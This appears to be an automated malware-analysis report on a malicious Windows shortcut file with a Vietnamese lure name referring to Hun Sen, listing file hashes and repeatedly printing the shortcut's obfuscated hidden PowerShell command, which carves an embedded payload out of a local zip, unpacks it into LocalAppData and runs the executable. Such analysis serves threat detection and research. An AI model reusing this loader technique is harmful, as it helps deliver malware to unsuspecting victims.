Infection Chain
Summary by MalvaGPT
Characteristics
Hash
Hash Value
MD5
68fb52b33313ee800548cca389407ad1
Sha1
62e4f702c3a88a17377507a8f27775a7b6bdea6f
Sha256
30f2a49ddba3f7a1b76124c112b6d01da4d440754f63441e12b1e30672a7ec0c
Sha384
d49821ea6f1219eac8ed4db753009e9447ba25a16d31cf512451fb9924f0f185910accec62238d5363bfb47f86546e8f
Sha512
0bb05fe96a5d1678ee3067662d7339f83bec3b016208eec5a5343d56fa697eb46832d5584a8c7ca9a12394b7f58aa7bbb3de8c9fb6cf47ee8eb1d2731dd7b5a0
SSDeep
12288:oGRXbdq0bEP9WXuGEmp0FSt7M7h2uRflhzSZ1s7rR04bqDY001b7undDGH:oGRrdqhP9guG7p0FSt72h1s/s3R04bCs
TLSH
19E4CF40B2B3D9A2E1AF113491A297685E2C7C768FB495CB77855BCF6E703C0DA34B06
Artefacts
Name
Value
LNK: Command Execution

powershell.exe -w H ";$irgqdfyxb = (ls -Pa $Home -Re -in 'Tin A5 chào x? giao Ch? t?ch Hun Sen.zip')[0].fullname;$qrvfuqsezoq = [SyStem.IO.File]::OpenReAd($irgqdfyxb); $fft='wRI'+'teAlL'+'bYtEs';$foolpsny = NeW-ObjEct byte[] $qrvfuqsezoq.Length; $qrvfuqsezoq.Read($foolpsny, 0, $foolpsny.Length); $qrvfuqsezoq.Close();$vdzywjadena=1144; ;;[SySTem.IO.FIle]::$fft($Env:LocalAppdata+'\\nismyjusj.vo', $foolpsny[$vdzywjadena..($vdzywjadena+686592-1)]);;tAR -xvf $Env:LocalAppdata\nismyjusj.vo -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\43OZ1LSA-M5GN-5TIS-ELUJ-IWP8UGQAUSCE\CNMNSST.exe;

Deobfuscated PowerShell

-w "H" ";$irgqdfyxb = (ls -Pa $Home -Re -in 'Tin A5 chào x? giao Ch? t?ch Hun Sen.zip')[0].fullname;$qrvfuqsezoq = [SyStem.IO.File]::OpenReAd($irgqdfyxb); $fft='wRIteAlLbYtEs';$foolpsny = NeW-ObjEct byte[] $qrvfuqsezoq.Length; $qrvfuqsezoq.Read($foolpsny, 0, $foolpsny.Length); $qrvfuqsezoq.Close();$vdzywjadena=1144; ;;[SySTem.IO.FIle]::$fft($Env:LocalAppdata+'\\nismyjusj.vo', $foolpsny[$vdzywjadena..($vdzywjadena+686592-1)]);;tAR -xvf $Env:LocalAppdata\nismyjusj.vo -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\43OZ1LSA-M5GN-5TIS-ELUJ-IWP8UGQAUSCE\CNMNSST.exe;"

Deobfuscated PowerShell

-w "H" ";$irgqdfyxb = (ls -Pa $Home -Re -in 'Tin A5 chào x? giao Ch? t?ch Hun Sen.zip')[0].fullname;$qrvfuqsezoq = [SyStem.IO.File]::OpenReAd($irgqdfyxb); $fft='wRIteAlLbYtEs';$foolpsny = NeW-ObjEct byte[] $qrvfuqsezoq.Length; $qrvfuqsezoq.Read($foolpsny, 0, $foolpsny.Length); $qrvfuqsezoq.Close();$vdzywjadena=1144; ;;[SySTem.IO.FIle]::$fft($Env:LocalAppdata+'\\nismyjusj.vo', $foolpsny[$vdzywjadena..($vdzywjadena+686592-1)]);;tAR -xvf $Env:LocalAppdata\nismyjusj.vo -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\43OZ1LSA-M5GN-5TIS-ELUJ-IWP8UGQAUSCE\CNMNSST.exe;"

Deobfuscated PowerShell

$Env:LocalAppdata \43oz1lsa-m5gn-5tis-eluj-iwp8ugqausce\cnmnsst.exe

68fb52b33313ee800548cca389407ad1 (687.85 KB)
No malware configuration were found at this point.
Artefacts
Name
Value Location
LNK: Command Execution

powershell.exe -w H ";$irgqdfyxb = (ls -Pa $Home -Re -in 'Tin A5 chào x? giao Ch? t?ch Hun Sen.zip')[0].fullname;$qrvfuqsezoq = [SyStem.IO.File]::OpenReAd($irgqdfyxb); $fft='wRI'+'teAlL'+'bYtEs';$foolpsny = NeW-ObjEct byte[] $qrvfuqsezoq.Length; $qrvfuqsezoq.Read($foolpsny, 0, $foolpsny.Length); $qrvfuqsezoq.Close();$vdzywjadena=1144; ;;[SySTem.IO.FIle]::$fft($Env:LocalAppdata+'\\nismyjusj.vo', $foolpsny[$vdzywjadena..($vdzywjadena+686592-1)]);;tAR -xvf $Env:LocalAppdata\nismyjusj.vo -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\43OZ1LSA-M5GN-5TIS-ELUJ-IWP8UGQAUSCE\CNMNSST.exe;

Malicious

68fb52b33313ee800548cca389407ad1 > Tin A5 chào xã giao Chủ tịch Hun Sen.lnk

Deobfuscated PowerShell

-w "H" ";$irgqdfyxb = (ls -Pa $Home -Re -in 'Tin A5 chào x? giao Ch? t?ch Hun Sen.zip')[0].fullname;$qrvfuqsezoq = [SyStem.IO.File]::OpenReAd($irgqdfyxb); $fft='wRIteAlLbYtEs';$foolpsny = NeW-ObjEct byte[] $qrvfuqsezoq.Length; $qrvfuqsezoq.Read($foolpsny, 0, $foolpsny.Length); $qrvfuqsezoq.Close();$vdzywjadena=1144; ;;[SySTem.IO.FIle]::$fft($Env:LocalAppdata+'\\nismyjusj.vo', $foolpsny[$vdzywjadena..($vdzywjadena+686592-1)]);;tAR -xvf $Env:LocalAppdata\nismyjusj.vo -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\43OZ1LSA-M5GN-5TIS-ELUJ-IWP8UGQAUSCE\CNMNSST.exe;"

Malicious

68fb52b33313ee800548cca389407ad1 > Tin A5 chào xã giao Chủ tịch Hun Sen.lnk > LNK CommandLine

Deobfuscated PowerShell

-w "H" ";$irgqdfyxb = (ls -Pa $Home -Re -in 'Tin A5 chào x? giao Ch? t?ch Hun Sen.zip')[0].fullname;$qrvfuqsezoq = [SyStem.IO.File]::OpenReAd($irgqdfyxb); $fft='wRIteAlLbYtEs';$foolpsny = NeW-ObjEct byte[] $qrvfuqsezoq.Length; $qrvfuqsezoq.Read($foolpsny, 0, $foolpsny.Length); $qrvfuqsezoq.Close();$vdzywjadena=1144; ;;[SySTem.IO.FIle]::$fft($Env:LocalAppdata+'\\nismyjusj.vo', $foolpsny[$vdzywjadena..($vdzywjadena+686592-1)]);;tAR -xvf $Env:LocalAppdata\nismyjusj.vo -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\43OZ1LSA-M5GN-5TIS-ELUJ-IWP8UGQAUSCE\CNMNSST.exe;"

Malicious

68fb52b33313ee800548cca389407ad1 > Tin A5 chào xã giao Chủ tịch Hun Sen.lnk > LNK CommandLine > [Deobfuscated PS]

Deobfuscated PowerShell

$Env:LocalAppdata \43oz1lsa-m5gn-5tis-eluj-iwp8ugqausce\cnmnsst.exe

Malicious

68fb52b33313ee800548cca389407ad1 > Tin A5 chào xã giao Chủ tịch Hun Sen.lnk > LNK CommandLine > [PowerShell Command]

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